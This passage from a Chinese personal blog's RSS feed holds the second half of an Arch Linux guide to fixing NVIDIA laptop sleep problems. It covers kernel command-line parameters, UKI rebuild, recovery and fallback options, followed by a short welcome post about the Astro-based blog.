href=&quot;#第-2-步修改内核命令行&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/kernel/cmdline&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;将内容改为（保持在一行内）：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;root=PARTUUID=27bc96c3-b253-45c5-89fa-c70b65f35908 zswap.enabled=0 rootflags=subvol=@ rw rootfstype=btrfs pci=noaer nvidia.NVreg_EnableS0ixPowerManagement=1 nvidia.NVreg_RegistryDwords=EnableForceP2PowerState:1 pcie_aspm.policy=powersupersave&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;第 3 步：重建 UKI（Unified Kernel Image）&lt;a href=&quot;#第-3-步重建-ukiunified-kernel-image&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkinitcpio&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-P&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;这一步会把新的内核命令行打包进 &lt;code&gt;/boot/EFI/Linux/arch-linux.efi&lt;/code&gt;。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;⚠️ 你的系统使用 UKI 启动（非传统 GRUB cmdline），所以&lt;strong&gt;必须&lt;/strong&gt;重建 UKI 才能生效。仅改 GRUB 配置是无用的。&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;第 4 步：重启&lt;a href=&quot;#第-4-步重启&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;reboot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;第 5 步：验证参数是否生效&lt;a href=&quot;#第-5-步验证参数是否生效&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;重启后运行：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/proc/cmdline&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;确认输出中包含 &lt;code&gt;pci=noaer&lt;/code&gt; &lt;code&gt;nvidia.NVreg_EnableS0ixPowerManagement=1&lt;/code&gt; 等新增参数。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;第 6 步：测试睡眠&lt;a href=&quot;#第-6-步测试睡眠&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;保存所有工作&lt;/li&gt;
&lt;li&gt;合上笔记本盖子&lt;/li&gt;
&lt;li&gt;等待 30 秒 - 1 分钟&lt;/li&gt;
&lt;li&gt;按电源键或翻开盖子&lt;/li&gt;
&lt;li&gt;观察能否唤醒&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;恢复方法&lt;a href=&quot;#恢复方法&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;如果系统无法启动或出现新问题，在 GRUB 菜单中按 &lt;code&gt;e&lt;/code&gt; 临时删掉新增参数即可进入系统，然后：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/kernel/cmdline.bak&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/kernel/cmdline&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkinitcpio&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-P&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;reboot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;备选方案（如果方案 A 无效）&lt;a href=&quot;#备选方案如果方案-a-无效&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;方案 B：切换到纯核显模式&lt;a href=&quot;#方案-b切换到纯核显模式&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;如果参数调整无效，说明 NVIDIA 驱动在 s2idle 下本身就有问题。此时最稳定的做法是禁用独显：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 安装 GPU 切换工具&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;envycontrol&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 切换到核显（AMD Radeon 680M）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;envycontrol&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;integrated&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 重启&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;reboot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;切换到核显后，日常办公、看视频、写代码完全够用。需要独显性能时再切回来：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;envycontrol&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hybrid&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;reboot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;方案 C：检查 BIOS 更新&lt;a href=&quot;#方案-c检查-bios-更新&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;访问机械革命官网或对应 ODM（同方国际）的下载页，看是否有新版 BIOS 可用。在搜索框中输入 “GM6BG0Q” 或 “蛟龙16K”。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;方案 D：升级 NVIDIA 驱动到 Beta 版&lt;a href=&quot;#方案-d升级-nvidia-驱动到-beta-版&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Arch 的 &lt;code&gt;nvidia-580xx-dkms&lt;/code&gt; 是稳定版，有时 Beta 版（如 585+）会修复 S0ix 相关 bug：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nvidia-beta-dkms&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;相关文件索引&lt;a href=&quot;#相关文件索引&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;文件&lt;/th&gt;&lt;th&gt;说明&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/etc/kernel/cmdline&lt;/code&gt;&lt;/td&gt;&lt;td&gt;内核启动参数（UKI 在这里读取）&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/boot/EFI/Linux/arch-linux.efi&lt;/code&gt;&lt;/td&gt;&lt;td&gt;生成的 Unified Kernel Image&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/etc/mkinitcpio.d/linux.preset&lt;/code&gt;&lt;/td&gt;&lt;td&gt;UKI 生成预设配置&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/proc/cmdline&lt;/code&gt;&lt;/td&gt;&lt;td&gt;当前生效的内核参数（只读）&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/etc/default/grub&lt;/code&gt;&lt;/td&gt;&lt;td&gt;GRUB 配置文件（UKI 模式下此文件对内核参数无效）&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;/sys/power/mem_sleep&lt;/code&gt;&lt;/td&gt;&lt;td&gt;查看可用睡眠模式&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;</content:encoded></item><item><title>欢迎来到人生实验室</title><link>https://ld.ac.cn/posts/welcome/</link><guid isPermaLink="true">https://ld.ac.cn/posts/welcome/</guid><description>这是我的第一篇博客文章，记录博客的开始。</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;👋 欢迎&lt;a href=&quot;#-欢迎&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;欢迎来到我的博客 &lt;strong&gt;人生实验室&lt;/strong&gt;！&lt;/p&gt;&lt;p&gt;这是我使用 &lt;a href=&quot;https://github.com/CuteLeaf/Firefly&quot; target=&quot;_blank&quot;&gt;Firefly&lt;/a&gt; 主题搭建的个人博客。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;🚀 关于这个博客&lt;a href=&quot;#-关于这个博客&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;这个博客基于 Astro 框架构建，使用了 Firefly 主题模板。我会在这里分享：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;技术学习笔记&lt;/li&gt;
&lt;li&gt;项目开发经验&lt;/li&gt;
&lt;li&gt;生活感悟&lt;/li&gt;
&lt;li&gt;其他有趣的内容&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;📝 技术栈&lt;a href=&quot;#-技术栈&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;框架&lt;/strong&gt;: &lt;a href=&quot;https://astro.build/&quot; target=&quot;_blank&quot;&gt;Astro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主题&lt;/strong&gt;: &lt;a href=&quot;https://github.com/CuteLeaf/Firefly&quot; target=&quot;_blank&quot;&gt;Firefly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部署&lt;/strong&gt;: GitHub Pages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包管理&lt;/strong&gt;: pnpm&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;🎯 下一步&lt;a href=&quot;#-下一步&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;接下来我会：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;完善博客内容&lt;/li&gt;
&lt;li&gt;添加更多文章&lt;/li&gt;
&lt;li&gt;自定义主题样式&lt;/li&gt;
&lt;li&gt;持续优化体验&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;感谢你的访问！🌟&lt;/p&gt;&lt;/section&gt;</content:encoded></item></channel></rss>